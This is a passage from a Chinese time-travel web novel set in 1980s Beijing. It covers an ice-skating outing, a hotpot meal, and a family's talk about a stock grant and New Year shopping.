时建军连忙收回落在周晓娟身上的目光,对着众人点了点头:“你们好。” “时哥好!”秦野一口一个“哥”,喊得格外亲热,瞬间就拉进了距离,“时哥也常来滑冰?” “嗨,年轻时候常来,这几年工作忙,来得少了。就是陪我妹妹过来玩玩。”时建军被他喊得有点不好意思,笑了笑。 一群人说说笑笑地往冰场里走,秦野走在时墨身边,脚步都刻意放慢了配合她的速度。 到了租冰鞋的摊子前,时墨刚要掏钱包,秦野已经一步抢在了前面,对着老板熟门熟路地说:“老板,38码女款冰鞋一双,43码男款三双,都要单刀的,刃磨得最好的那种!” 时墨差异道:“你怎么知道我穿38码?” 秦野耳尖微微发红,慌乱解释道:“我,我上次无意中听到你跟同学聊天说的,就记住了。” 这话一出,旁边的同学都跟着起哄,时墨了然地点点头,没再说什么。 时建军看在眼里,眉头微微挑了挑,心里对这小子多了点留意——这小子,对自己妹妹,心思可不一般。 没一会儿,老板就把冰鞋拿了过来,秦野特意把那双38码的递到时墨手里,笑着说:“你试试合不合脚,不合脚我立马给你换。” 时墨接过来试了试,大小正好,冰刀也磨得顺滑,点了点头:“挺合适的,谢了啊。” “跟我客气啥。”秦野笑得更开心了,立刻掏钱付了租金,连时建军和周晓娟的都一并付了,拦都拦不住。 几人拿着冰鞋,去旁边的小木屋里换鞋。 时建军拿着冰鞋,磨磨蹭蹭地蹭到周晓娟身边,看着她对着鞋扣皱眉头,立刻紧张地问:“晓娟,咋了?鞋扣不合适?” “嗯,总觉得这扣松松垮垮的,滑着总怕掉。”周晓娟有点无奈地晃了晃冰鞋。 “我帮你调调吧!我以前常来滑冰,调这个最拿手了!”时建军立刻自告奋勇,眼睛都亮了。 “真的?那太好了!麻烦你了时哥!”周晓娟立刻把冰鞋递了过去。 “不麻烦不麻烦!”时建军连忙接过来,蹲在地上,认认真真地帮她调鞋扣。他手指修长有力,常年跟机器打交道,手稳得很,几下就把松垮的鞋扣调得严丝合缝。 周晓娟蹲在他旁边,看着他认真的样子,阳光落在他脸上,连鬓角的汗珠都看得清清楚楚,嘴角忍不住扬了起来。 “你现在在机械研究所,是不是特别忙啊?”周晓娟主动开口找了话题。 “还行,不算特别忙,就是偶尔要跟师傅出去跑厂子,修设备。”时建军说起自己的专业,瞬间就不紧张了,话也多了起来,“前阵子我们所里接了个活,给南郊的食品厂修进口的罐头封口机,那机器全是外文说明书,所里会修的老人没人看得懂,还是我抱着字典又问墨墨,翻了三天三夜,一点点摸透了原理,最后给修好了!所里还给我发了五十块奖金呢!” “哇,你也太厉害了吧!”周晓娟眼里满是佩服,眼睛亮晶晶的,“我最佩服你们这种懂技术的了,我家那台收音机坏了快半年了,我爸拆了好几次都没修好,扔了又可惜。” “嗨,这有啥难的!”时建军立刻拍了胸脯,“回头你把收音机拿给我,我给你修,保证给你修得跟新的一样!” “真的?那太谢谢你了时哥!”周晓娟笑得更开心了。 两人你一言我一语地聊了起来,越聊越投机,眼里都只有对方,完全忘了旁边的人。 另一边,时墨换好冰鞋,扶着墙试着走了两步,底子还在,没忘干净。她深吸一口气,脚下轻轻一蹬,就稳稳地滑了出去。 她前世就特别喜欢滑冰,技术好得很,在冰面上滑得又稳又飒,腰杆挺得笔直,脚下一个利落的压步转弯,冰刀在冰面上划出一道漂亮的弧线,紧接着又接了个原地旋转,动作行云流水,干脆利落。 周围滑冰的人都看呆了,纷纷停下来叫好,还有几个小伙子吹起了口哨。 【宿主!滑得太牛了!娱乐休闲活动完美符合躺平规则!奖励能量币300点!】系统立刻出来刷存在感,激动得嗷嗷叫,【宿主加油!寒假多搞点这种休闲活动,能量币奖励超多!逛庙会、听相声、看冰灯、吃美食,全算!躺平娱乐两不误,咱们直接躺赢!】 时墨心里暗笑,在心里回了句:【知道了知道了,别吵,滑个冰都堵不上你的嘴。】 【宿主加油!躺平万岁!】系统喊完口号,立刻安静了,生怕打扰了宿主玩。 时墨笑着摇摇头,脚下一蹬,又迎着风滑了出去,红围巾被风吹得飘起来,眉眼弯弯的,在冰面上像只自由的小鸟,灵动又耀眼。 她正滑得开心,身后两道身影立刻跟了上来。 秦野滑冰的技术也极好,踩着冰刀几步就追了上来,跟她并排滑着,眼里满是惊艳和欣赏,笑着道:“时墨,你滑得也太好了吧!这花样,比冰场专业的师傅都厉害!以前是不是专门学过?” “小时候滑过几次,有点底子。”时墨笑了笑,脚下又加快了速度,迎着风滑出去,头发被风吹得飘起来,脸上带着肆意的笑意,格外动人。 秦野都看呆了,愣了两秒才反应过来,立刻加速追了上去,跟她并肩比着速度,冰场上全是两人的笑声。 另一边,沈岩就没那么轻松了。他不太会滑冰,滑得跌跌撞撞的,两条腿叉得开开的,胳膊张得像个大螃蟹,好几次差点摔在冰面上,引得旁边的人频频侧目。 可就算这样,他还是咬着牙,硬着头皮往时墨的方向滑,眼睛死死地盯着她的背影,不肯落下半步。 冰场的护栏边,两个话剧社的女生正靠在那儿看热闹。其中一个叫李曼的女生,眼睛死死地盯着沈岩追着的时墨,手指攥得发白,指甲都快嵌进肉里了,眼里满是藏不住的嫉妒。 她喜欢沈岩很久了,从开学进话剧社第一眼看见他,就动了心。可沈岩自从接触过时墨后,眼里再也没有了她,张口闭口都是时墨,就连滑冰,也是听说时墨要来,才硬着头皮跟着来的。 凭什么?时墨不就是捐了幅画,出了本书,长得好看点吗?凭什么让沈岩这么念念不忘? 李曼看着时墨越滑越近,又看了看旁边追不上还不肯停的沈岩,咬了咬牙,心里的邪火一下子就涌了上来。 她脚下一蹬,故意朝着时墨滑了过去,眼睛直勾勾地盯着时墨的方向,装作没看见的样子,狠狠往她身上撞了过去,心里想着:我让你滑!摔你个大跟头,我看你还怎么在沈岩面前装! “小心!”秦野眼疾手快,立刻喊了一声,伸手就想去拉时墨。 可时墨早就察觉到了,脚下轻轻一转,一个利落的侧身,像片叶子似的稳稳避开了撞过来的李曼,连晃都没晃一下。不仅如此,她侧身的瞬间,还顺手扶了一把旁边差点被李曼撞到的小丫头,把孩子稳稳地送到了她妈妈身边。 反倒是李曼,用力过猛,收不住脚,“啪叽”一声狠狠摔在了冰面上,屁股结结实实地砸在冰上,疼得她龇牙咧嘴,眼泪瞬间就涌上来了。 周围的人都看呆了,瞬间就反应过来是怎么回事,纷纷议论起来: “哎哟,这姑娘怎么回事啊?看着人模人样的,怎么故意往人身上撞啊?” “就是!心也太坏了!没看见人家还带着个孩子吗?这要是撞着了,可怎么得了!” “自己摔了吧?活该!让她心术不正!” 时墨低头看了她一眼,心里门儿清,这点上不了台面的小心思,实在太明显了。她懒得掺和这些小姑娘的情情爱爱,更不想跟人起冲突,脚下一蹬,加速滑了出去,连句多余的话都没说。 秦野狠狠瞪了摔在地上的李曼一眼,语气冷得比冰还要低:“滑冰不长眼睛?这么大的冰场,非要往人身上撞?再敢来这套,就算你是女生,也别怪我不客气。” 说完,他看都没看李曼惨白的脸,立刻加速追着时墨去了。 沈岩也终于跌跌撞撞地滑了过来,看着摔在地上的李曼,不仅没扶,反而皱紧了眉头,第一次冷着脸对她说:“李曼,你刚才太过分了。时墨是我敬佩的人,你以后再这样,我们就不是朋友了。” 说完,他也转身,继续往时墨的方向滑,连个眼神都没再给李曼。 李曼坐在冰面上,听着周围人的指指点点,看着自己在意的人,眼里全是时墨,连扶都不肯扶自己一下,气得眼泪哗哗地掉,又羞又愤,再也待不下去了,爬起来一瘸一拐地跑了。 时墨滑得开心,早就把这点小插曲忘得一干二净了。她在冰面上滑了一圈又一圈,时而加速,时而转弯,时而滑个简单的花样,玩得不亦乐乎。 秦野一直跟在她身边,时不时跟她搭两句话,两人偶尔还比一比谁滑得快。 滑了快一个小时,时墨也累了,滑到护栏边停下来,扶着栏杆喘气,额头上出了一层薄汗,被冷风一吹,凉丝丝的。她刚想喊哥哥去帮她买杯热饮,一回头,秦野已经拿着两个军绿色的搪瓷缸跑了过来,缸口还冒着热气。 “时墨,喝点热的,暖暖身子。”秦野把其中一个缸子递过来,额头上带着薄汗,眼里满是笑意,“我刚在旁边的小卖部买的,红糖姜水,刚冲好的,热乎的,冬天滑冰喝这个最驱寒了。” 他早就打听好了,女生冬天不能喝凉的,特意找老板要了红糖,现冲的姜水,连杯子都是特意找老板要的干净搪瓷缸。 时墨接了过来,指尖触到温热的缸壁,暖意瞬间传了过来,她道了声谢:“谢了啊秦野,多少钱我给你。” “跟我客气啥,一杯姜水而已。”秦野笑着摆了摆手,毫不在意。 时墨刚喝了一口,甜丝丝、热乎乎的姜水顺着喉咙滑下去,浑身都暖了。一抬头,就看见时建军走了过来,她有点奇怪:“哥,你怎么过来了?不跟晓娟多聊会儿?” “我看你滑了半天,怕你渴了,想给你买点喝的。”时建军笑了笑,目光落在秦野身上,瞬间多了点警惕。他刚才在远处看得清清楚楚,这小子一直围着自己妹妹转,那眼神,明眼人都能看出来。 秦野多机灵,立刻就察觉到了时建军的警惕,连忙笑着说:“时哥,你也累了吧?坐这儿,我去给你也买一杯热的!” “不用,我不渴。”时建军伸手按住了他的肩膀,力道不轻不重。 “行,那你有需要随时跟我说。”秦野也不坚持,顺势就停了下来,话锋一转,就捧起了时建军,“对了时哥,我刚才听时墨说,您在机械研究所工作,还是技术骨干,专门修进口设备?太厉害了!我爸他厂子最近刚进了一批德国的机床,全是外文说明书,厂里的老师傅都摸不透,愁得头发都白了。搞技术的都是真本事,一般人根本干不了,我是真佩服。” 这话正好说到了时建军的心坎里,他脸上的警惕瞬间消了不少,笑着摆了摆手:“嗨,就是混口饭吃,不算什么。德国机床我倒是接触过,原理都差不多,就是说明书麻烦点。” “那可太厉害了!”秦野立刻接话,“回头我跟我爸说说,要是实在搞不定,还得请时哥您帮忙去看看,麻烦您多指点指点。” “好说好说,都是小问题。”时建军被他捧得心里舒坦,脸上的笑也真诚了不少,对秦野的印象瞬间改观了不少。 “对了时哥,”秦野立刻接话,顺势提起了吃饭的事,“我知道这附近有家老北京涮肉馆,铜锅炭火的,手切羊肉立盘不倒,特别地道,离这儿不远,走路十分钟就到。眼看都中午了,咱们一起过去吃一口吧?我请客!” 时墨本就爱吃涮肉,北方冬天,还有什么比一顿热气腾腾的铜锅涮肉更舒服的?她眼睛瞬间亮了,立刻拍板:“行啊!那中午就去尝尝!” 时建军看着妹妹一脸期待的样子,刚到嘴边的拒绝的话,又咽了回去,只能点了点头:“行,中午咱们一起去吃。” 正说着,周晓娟和几个话剧社的同学也滑了过来,一个个都滑得满头大汗,脸冻得红扑扑的,像熟透的苹果。 时墨立刻拉过周晓娟的手道:“晓娟,秦野说附近有家特别地道的老铜锅涮肉,咱们一起去吃!” “好啊好啊!我早就想吃涮肉了!快冻死我了,正好吃点热乎的暖暖身子!”周晓娟立刻笑着答应了,手被时墨拉着,眼睛却不自觉地看向了时建军,嘴角的笑意藏都藏不住。 旁边的沈岩一听,立刻上前一步,连忙道:“时墨,鼓楼那边有家东来顺的分号,是老字号,比什刹海附近的馆子地道多了,我请客,大家一起去呗?” 秦野冷眼瞥了他一眼,没说话,只看向时墨,观察着她的表情。 时墨没什么所谓,去哪吃都行,只笑着道:“不用这么麻烦,就在附近吃一口就行,下午大家还要玩呢,跑鼓楼那么远,来回折腾太累了。” 秦野心里瞬间有了底,立刻笑着道:“对,这家馆子就在跟前,走路就到了,特别方便。他家的羊肉每天现杀送过来的,新鲜得很,老板跟我爸是老相识,每次去都给留最好的上脑肉,不用跑鼓楼那么远遭罪。” 沈岩看着时墨没反对去秦野说的馆子,眼里的光暗了暗,却也没再说什么,只点了点头,说一起去。 旁边几个话剧社的同学,都是明眼人,看得出来沈岩和秦野都对时墨有意思,不想留下来当电灯泡,连忙找借口:“哎呀,我中午得回家,我妈早上就给我炖好肉了,我就不去了。” “我也不去了,我跟朋友约好了下午去逛书店,我们就先走了,你们玩得开心啊。” 几个人找了借口,纷纷散了,最后只剩下时墨、时建军、周晓娟、秦野、沈岩,还有两个跟沈岩关系好的男同学。 一行人说说笑笑地往涮肉馆走,没十分钟就到了。 馆子是个四合院改的,门脸不大,但是干净敞亮,一进门就闻见了浓郁的炭火和羊肉香味,院子里摆着好几张实木八仙桌,全是烧炭火的紫铜锅,热气腾腾的,烟火气十足。 老板看见秦野,立刻热情地迎了上来:“小秦来了?快里面请!靠窗的位子给你留着呢!” “谢了张叔。”秦野笑着点了点头,带着众人进了屋,找了个靠窗的大桌坐下。 没一会儿,紫铜锅就端了上来,炭火烧得旺,清汤锅底里的海米、葱段、姜片、口蘑上下翻滚,不一会儿就咕嘟咕嘟地开了,冒着热气。 紧接着,手切鲜羊肉、肥牛卷、冻豆腐、白菜、粉丝、酸菜,摆了满满一桌子,还有一碟碟现腌的糖蒜,麻酱小料也端了上来,二八酱兑了腐乳、韭菜花,淋上炸得喷香的辣椒油,撒上一把香菜,香得人直流口水。 “快吃快吃!肉涮几秒就熟,老了就不好吃了!”秦野笑着招呼大家,手里的筷子却没停,夹起一筷子上脑肉,在沸水里涮了七八秒,熟得刚刚好,第一筷子就放进了时墨的碗里。 时墨道了声谢,低头吃了起来,羊肉鲜嫩多汁,裹上麻酱,一口下去,满嘴留香,暖乎乎的热气从胃里散开,浑身都舒坦了。 另一桌,沈岩和他同学坐在一起,聊着话剧社年底的汇报演出,还有最近的文艺政策,都是大学生的话题,聊得热火朝天。 沈岩时不时地往时墨这边看,想插话,却总被旁边的同学拉着聊剧本,根本插不上嘴,只能看着时墨和秦野、时建军他们说说笑笑,心里又失落又着急,只能默默喝着汽水。 时墨坐下就没停嘴,吃得不亦乐乎,夸赞道:“这地方真不错,藏得够深的,肉也太嫩了。” “那是,我跟我爸来过好几次了,就他家的肉最地道。”秦野笑得一脸得意,又用公筷给她夹了一筷子肥牛,“这个也好吃,你尝尝。” 时建军坐在周晓娟旁边,这回没刚接触时局促了,主动给周晓娟倒了杯热茶,又给她涮了一筷子羊肉,放在她碗里:“晓娟,快吃,多吃点,滑了一上午冰,肯定饿坏了。” “谢谢时哥。”周晓娟笑着接过,脸颊红红的,也给时建军夹了一筷子糖蒜,“你也吃,这个解腻。” 时墨看在眼里,心里乐了,连忙在旁边搭话,给两人创造机会:“哥,你们研究所年底是不是不忙了?正好趁放假,好好复习复习考大专的事。” “嗯,腊月二十九就放假了,正好在家好好看书。”时建军连忙点头。 “那正好啊。”时墨看向周晓娟,笑着说,“晓娟,你们师范大学的图书馆,肯定有不少大专复习的资料吧?我哥这人,就知道闷头看书,都不知道找什么资料合适,你到时候多帮帮他。” “没问题啊!”周晓娟立刻笑着答应了,“我们学校图书馆复习资料可全了,还有历年的考题,回头我给时哥找一套,再给你划划重点,比你自己闷头看强多了。” “那谢谢你了晓娟!”时建军眼睛瞬间亮了,连忙道谢,心里对妹妹感激得不行。 “客气啥,都是小事。”周晓娟笑着摆了摆手,两人你一言我一语地聊起了复习的事,越聊越投机,气氛格外融洽。 秦野看了两眼,就看出来时墨想撮合她哥和周晓娟,立刻跟着搭话,时不时地捧时建军两句:“时哥这上进心是真的强,一边上班一边复习,一般人根本坚持不下来。对了时哥,我爸厂里有一套职工大专的复习资料,是内部编的,特别全,回头我给你拿一套,保准用得上。” “可太谢谢你了秦野!”时建军连忙道谢,现在是彻底看这小子顺眼了。 一顿饭吃得热热闹闹,铜锅咕嘟咕嘟地冒着泡,屋里全是欢声笑语,气氛格外融洽。 吃到下午两点多,大家都吃得肚子圆滚滚的,心满意足地放下了筷子。 到了结账的时候,时建军立刻起身,大步走到柜台前,拦住了要掏钱的秦野:“哎,秦野,这顿饭必须我来结。我是大哥,有工作有工资,哪能让你一个高中生请客?不行不行,绝对不行。” “时哥,说好了我请客的,哪能让你付钱?”秦野也不让步,笑着把时建军拦住了,“是我提议来的,馆子也是我找的,自然是我请,你就别跟我争了。” “那不行!”时建军也是个实在人,脸都板起来了,“我妹妹和我朋友在这儿,哪有让你花钱的道理?你还是个学生,花的都是家里的钱,我一个上班的,哪能让你请客?今天这钱,必须我付。” 两个人在柜台前,你拉我拽的,友好地“撕吧”了起来,谁也不让谁,老板站在柜台后,看着俩人,笑也不是,劝也不是。 时墨站在旁边, 看了半天热闹,笑着走了过去,拉开了两个人:“行了哥,别争了,听我的。” 她看向时建军,笑着说:“哥,这次咱们做东,你结。下次秦野再请咱们怎么样?” 秦野愣了一下,随即笑了,他听出来了,时墨这是给了他下次再约她出来的机会,立刻点头,笑得格外开心:“行!就按你说的来!” 时建军也没意见,听妹妹的,痛快地结了账。 沈岩也默默结了自己和同学的那份,一群人说说笑笑地出了涮肉馆。 外面的天阴了下来,又飘起了细碎的小雪花,落在脸上,凉丝丝的。 大家在门口分开,周晓娟和同学坐公交回学校,沈岩也跟着一起走了。临走前,沈岩看着时墨,犹豫了半天,才开口:“时墨,寒假里出版社要开青年作者座谈会,我妈说想请你也来参加,到时候我能提前跟你说吗?” 他母亲是出版社的编辑,用这个由头,最是自然,也不会让时墨反感。 时墨想了想,点了点头:“可以,到时候让林姨跟我说就行。” 沈岩笑着点了点头,才转身跟着同学走了。 秦野陪着时墨兄妹俩往胡同口走,路上笑着跟时墨约:“时墨,过年的时候厂甸庙会就开了,咱们一起去逛庙会吧?听说今年可热闹了,有耍中幡、拉洋片、变戏法的,还有灌肠、爆肚、糖人、风车,好多好吃的好玩的,特别热闹。” 时墨想了想,寒假也没什么事,逛庙会正好符合系统的躺平规则,还能赚能量币,随口就答应了:“行啊,到时候你提前喊我就行。” 秦野眼睛瞬间亮了,笑得格外开心,连连点头:“好!我提前几天就跟你说!” 他一直把兄妹俩送到了胡同口,才转身离开。 时建军看着秦野走远的背影,碰了碰时墨的胳膊,小声问:“妹,这小子,是真喜欢你啊。你心里咋想的?” “没办法,你妹太招人喜欢了。”时墨笑着用胳膊肘捅了捅他,挑眉道,“别光说我,哥,你跟晓娟聊得怎么样啊?我可都看出来了,人家姑娘对你印象可不错,下次主动点,约人家出来看电影啊,别总等着我给你创造机会。” 时建军被妹妹调侃得脸都红了:“行,回头我就约她,到时候你跟我一起去。” “我去干啥?当电灯泡啊?”时墨翻了个白眼,“你自己去!拿出你修机器的本事来,肯定没问题!” 时墨看着哥哥害羞的样子,忍不住笑了起来。 “走了哥,咱叫个三蹦子回家!” “瞎花那钱呢,往前走走就是到咱家的公交了。” 时建军把围巾往下扯了扯,看着妹妹往三蹦子那边凑,伸手就把人拽了回来:“瞎花那钱干啥?往前再走两百步就是公交站,两毛钱就到家了,坐三蹦子得花八毛,冤不冤?” “哥,冻死了!”时墨往他身后缩了缩,晃着他的胳膊撒娇,“你看我脸都冻红了,三蹦子有棚子,比公交快多了,就当犒劳我今天给你创造机会了行不行?” 一提周晓娟,时建军瞬间没话了,耳尖红红的,还是嘴硬:“那你也不能乱花钱。”嘴上这么说,脚步却没再往公交站挪,转头跟三蹦子师傅砍起了价,“师傅,去红星机械厂家属院,六毛走不走?” “小伙子,这天寒地冻的,最少八毛!” “七毛!不走我们就坐公交了!” “行行行,七毛就七毛,快上来!” 时墨憋着笑跳上了三蹦子,棚子一挡,瞬间没了冷风。时建军坐在她旁边,还在念叨:“你这丫头,花钱大手大脚的,以后可怎么攒钱。” “放心吧哥,你妹妹我赚钱的本事多着呢。”时墨笑着靠在车棚上,看着外面倒退的胡同街景,大脑开始放空。 三蹦子突突突地跑了十几分钟,就到了家属院楼下。 回到家,时墨往沙发上一瘫,动都不想动。 时建军换了鞋,进屋就开始收拾,把自己的复习资料抱进了小屋,还不忘跟时墨说:“妹,我去看会儿书,晚饭我来做,你歇着就行。” “知道了,学累了就出来歇会儿。”时墨应了一声,打开了电视。 【宿主今日活动量适中,身心愉悦,符合躺平原则,额外奖励能量币100点!只要宿主好好“躺”着天天都有能量币呢,很快就能攒够买东西!】系统又出来刷存在感。 系统真是不余遗力的宣传,时墨笑了声:【好哦。】 【宿主加油!躺平万岁!】 时墨懒得理它,继续瘫着。 这会儿才下午三点多,电视里没什么太好看的节目,翻来覆去就几个台,不是新闻就是农业科教片。 时墨百无聊赖地调着台,忽然调到了正在重播的《霍元甲》,熟悉的主题曲一出来,她瞬间来了精神。 80年代正是武侠剧、反特剧最火的时候,《大侠霍元甲》《上海滩》播出来的时候,万人空巷,家家户户都挤在有电视的人家看。 时墨看着电视里的画面,脑子里却开始转悠起来。 她可是从后世穿过来的。 不管是小说、电视剧、电影,什么题材没见过?宫斗、宅斗、仙侠、穿越、年代、悬疑、职场……随便拎一个出来,都是现在没有的。 之前她写知青题材爆火,可除了知青,现在老百姓最爱看的,还有武侠、反特、家庭伦理,甚至是改革开放背景下的个体户创业故事!这些题材,她比这个时代的任何一个作者都看得透、摸得准! 时墨越想眼睛越亮,再也坐不住了,“噌”地一下从沙发上跳起来,转身就冲进了卧室,翻出稿纸和钢笔,趴在桌子上写了起来。 她脑子里的灵感像泉水似的往外冒,先是列了个反特题材的小说大纲,又写了个个体户创业的剧本梗概,她记得《渴盼》这类题材也挺火,它核心冲突是啥来着?丢了孩子、找了孩子、养母亲妈之间的拉扯。还有那种破案的、悬疑的,一个案子接一个案子,观众肯定爱看…… 时墨笔尖在稿纸上划得沙沙响,刷刷刷写了好几页,把能想到的点子全记下来,什么人物设定、剧情冲突、时代背景、社会话题,想到哪儿写到哪儿。连外面时建军出来倒水都没察觉。 时建军看着妹妹屋里亮着灯,趴在桌上写写画画的样子,笑着摇了摇头,没打扰她,轻手轻脚地去厨房忙活晚饭了。 时墨写到兴奋处,自己都忍不住笑了。 等以后有机会,找个靠谱的编剧或者导演,把这些本子卖出去。 【宿主!系统检测到您脑电波活跃度过高!请注意休息!躺平期间不宜过度用脑!】 【知道了知道了,马上就好。】时墨嘴上应着,手里的笔却没停。 【倒计时3分钟。】 【2分58秒。】 【1分05秒。】 时墨笔走游龙,迅速又写了几页,才刚在倒计时前写完,合上本子,塞进抽屉里。 躺回床上伸了个大大的懒腰,看着天花板,脑子里还在转悠。 现在真是什么都缺啊。缺钱、缺物、缺娱乐、缺文化产品。 但也正是什么都缺,才遍地都是机会。 她要大展拳脚,哼哼哈嘿! “哎哟!” “墨墨你咋了?” “没事,脚踢到墙了,嘶——” * 傍晚,李秀兰和时爱国下班回来,屋里已经飘着饭菜香了。 “哟,我们家大作家又在屋里写东西呢?”李秀兰换了鞋,把手里的网兜放下,里面装着刚买的白菜和萝卜,“你哥把饭都快做好了,洗洗手准备吃饭。” 饭桌上,四菜一汤摆得满满当当,白菜炖粉条、西红柿炒鸡蛋、凉拌萝卜丝,还有一碗腊肉,都是家常菜,热气腾腾的。 时建军把碗筷拿上桌,解了围裙,开始盛杂粮饭。 李秀兰洗了手出来,看着满桌的菜,笑着夸:“建军这手艺是越来越好了,比你爸强多了。” 时爱国不服气:“我年轻时也会做饭,就是现在没机会显摆。” “得了吧你。”李秀兰白他一眼,“你那手艺,做熟了就不错了。” 时墨坐在桌边,看着爸妈斗嘴,忍不住笑。 一家人坐下吃饭。 时爱国吃了两口,忽然想起什么,放下筷子叹了口气,对着时墨说:“墨墨,爸正好有个事问你,我是真搞不懂。” “爸,啥事啊?”时墨夹了一筷子粉条,抬头问。 时爱国从兜里掏出一个信封,递给时墨:“你看看这个。” 时墨接过来,打开一看,愣住了。 信封里是一沓股票凭证,上面写着“上海飞乐音响股份有限公司”“股数:壹仟股”“股东姓名:时爱国”等字样。 “爸,这是……谢时昀给的?” 时爱国点点头:“今儿下午他专门跑了一趟厂里,说是公司年底发的‘年终奖’。你说稀奇不稀奇,不发现金,发什么股票!我这干了这么多年,头一回听说年底奖金发股票的。” 时建军凑过来看热闹,一脸新奇:“股票?这玩意儿干啥用的?” “我哪知道。”时爱国一脸愁容,“我问小谢,他说这东西能分红,还能增值,比发钱划算。我也不懂,就觉得太多了,想退给他,结果他说这股票发了就退不了,只能自己拿着或者卖了。” 他顿了顿,又说:“我还特意问了问其他两个在他们公司挂名的高级工,人家就分了一百股,我一听,我这比人家多十倍啊,更不敢要了。人家问起来,我都只能说跟他们一样,不然多招人闲话。我去找小谢,可他说什么‘贡献不同,奖励不同’,让我安心收着。” 他活了大半辈子,就认实在东西,现金、粮食、房子、金子,这都是实打实的,这股票一张纸,不顶吃不顶穿的,他实在搞不懂这东西有啥用,更不敢拿这么多,总觉得心里不踏实。 时墨看着手里这沓股票凭证,心里有点复杂。 当初在信托公司,她旁敲侧击跟他说了飞乐音响的潜力,他不仅听进去了,还真借着年终奖的由头,把股票给到了时爱国手里。 一千股,就是五万块。 在人均工资几十块的年代,五万块是什么概念? 顶一个工人干一辈子的工资。 谢时昀也是真舍得。 她以为谢时昀最多给个一两百股,没想到…… “就是啊墨墨,这东西到底是啥啊?”李秀兰也好奇股票这东西:“小谢平白无故给这么多,总感觉不踏实。” “爸,妈,谢时昀是个聪明人不会做亏本买卖,这是你应得的。你帮他解决了那么多设备难题,值这个价,不用觉得不踏实。”时墨把股票收好,递还给时爱国,“这东西你收好了,别乱放,以后肯定有大用。” 时爱国接过信封,一脸茫然:“啥用?能当钱花?” “现在不能,以后能。”时墨想了想,组织了一下语言,“你就把它当……当一种能生钱的存折。以后国家要是开放股票交易了,这东西能换不少钱。” 李秀兰听得半懂不懂,问道:“能换多少?” 时墨没法说具体数字,只能含糊道:“反正比存银行利息划算。你就记着,这东西是好的,别给人,也别卖,比金子还保值。” 时爱国开始似懂非懂地,时墨一拿金子作比喻立刻明白似的点点头,把信封小心翼翼地收进内兜里,还拍了拍。 时建军在旁边羡慕得不行:“爸,你这运气也太好了!我怎么没碰上这种好事?” “你碰上啥?”李秀兰笑骂,“你要是也碰上,那才怪了。人家小谢那是看你爸面子,给你爸的,跟你啥关系?” 时建军也不恼,嘿嘿一笑:“我这不是羡慕嘛。” 李秀兰感慨道:“小谢这孩子看着就稳重,心也细,之前帮咱们家那么多忙,从来没提过一句。” 时爱国:“可不是嘛。” 夫妻俩对谢时昀本就印象不错,这下更是彻底放下了心,只当是时爱国的技术值钱,没往别的地方想。 时墨也没多说,这事没法跟爸妈解释,只能顺着他们的话往下说:“是啊,谢时昀心里有数,办事稳当,你们就放心吧。” 【宿主,系统检测到您在打擦边球。】系统冷不丁冒出来。 时墨毫不在意道:【违规吗?】 【……没有。】 【退下吧。】 【哦。】 * 股票的事说开了,一家人心里都踏实了。 吃完饭收拾碗筷的时候,李秀兰忽然想起了什么,对着时爱国说:“对了,眼看就腊月了,没几天就过年了,咱们得合计合计,今年年货该置办点啥,今年咱们家条件好了,得多买点。” “可不是嘛,一晃又要过年了。”时爱国擦着桌子,点点头:“是得好好置办置办。往年紧巴,今年墨墨出书挣了钱,我也发了年终奖,咱们好好过个年。” “别的都好说,主要是你大姐那边,得提前准备好东西,过年得走动走动。那明天我去看看,买点啥。”李秀兰掰着指头数,“得买肉、买鱼、买鸡,还得买糖果、瓜子、花生。对联也得买,还有鞭炮……” 时建军插嘴道:“妈,今年多买点排骨,我想吃红烧排骨。” “吃吃吃,你就知道吃。”李秀兰笑骂,但脸上全是笑。 时墨听着他们讨论,脑子里飞快地回忆起这具身体的亲戚关系。 她爸时爱国是家里老二,爷爷奶奶走得早,上面就一个大姐,早年嫁到了西边,大姑父是燕化厂的正式职工,独生子,家里在农村有一大片地,吃喝不愁,条件在乡下算是顶好的。大姑生了三个孩子,两个儿子一个女儿,小儿子比时墨小三岁。 “我大姑那边,今年咱们早点去?”时墨顺着话头问了一句。 “肯定得去。”时爱国叹了口气,“你爷爷奶奶走得早,你大姑就我这一个弟弟,当年你妈生你的时候,你大姑大冬天跑几十里地过来送家里养的土鸡蛋,这份情不能忘。今年咱们家条件好了,得多备点东西,不能让人家挑理。” “那是自然。”李秀兰点点头,又有点无奈,“就是大姐家虎子太皮了。去年过年过来,不但抢墨墨手里的糖,还把墨墨的作业本不小心撕了,也就墨墨脾气好,不跟他计较,我看着都来气。要不是大过年的,我指定说他几句。” 时建军一听这话,冷哼道:“那臭小子就是欠收拾,也就我妹脾气好,换我早揍他了。说到底,还不是因为大姑太惯着他了,都十四五了,一点规矩都没有,没教养!” 时墨想起来了。 是有这么回事。原身脾气好,被抢了糖也没说啥,倒是时建军当时有点急眼了,大姑才轻拍儿子几下当教训了。 时爱国也是拿大姐家小儿子没办法,平时本来就不咋来往,也不好过年过节的说人家孩子,只好道:“虎子小孩子嘛,调皮点正常,过两年大点就好了,今年咱们去他家,去看看就回。” 时建军也不好反驳他爸。 “那小子上次考得咋样?”时墨问。 “别提了。”时建军摆摆手,“读书一般,大姑也不逼他,说读不好就让他进厂当工人,反正有大姑父罩着。” 时墨点点头,没再说什么。 心里却有了数。 这大姑,应该是挺好相处的农村妇女,就是太惯孩子,这个虎子明显往熊孩子发展,大了再不管好以后可容易惹事,不过这都跟她没关系,面上过得去就行。 李秀兰拿出几张票子,递给时墨,嘱咐道:“墨墨,你没事的时候,就去附近的市场看看,先买点年画、挂历、糖果瓜子回来,你年轻人会挑,买点好的。这是四十块,不够再跟我说。要是剩下了钱你就自己留着,喜欢啥就买点啥。妈和你爸这两天还上班,没时间逛,你先看着置办,大件的我们周末再去买。” “放心吧妈,保证给你办得妥妥当当。”时墨接过钱,揣进兜里。 “对了,你没事也可以去你那小院子看看,收拾收拾,过年也贴个对联啥的,瞧着喜庆。房子空久了可不好。”李秀兰又道。 “嗯,我也正想着去看看呢,把房子布置布置,添点年味。” 第二天,第二天,晴空万里,但依旧刮着北风。 时墨出门前打开窗户特意感受了下外面的天气,觉得还是别臭美臭嘚瑟了,再冻感冒了,遭罪的还是她,还是穿着暖暖显胖的棉袄,带了个挂脖的手闷子,挎着个布袋子出了门。 刚下楼,就碰见一楼王大妈,拎着菜篮子刚买菜回来,看见时墨就笑着打招呼:“哟,墨墨,出门啊?” “嗯,我去买点年货。”时墨笑着回道,“我看您这也是刚买菜回来。” 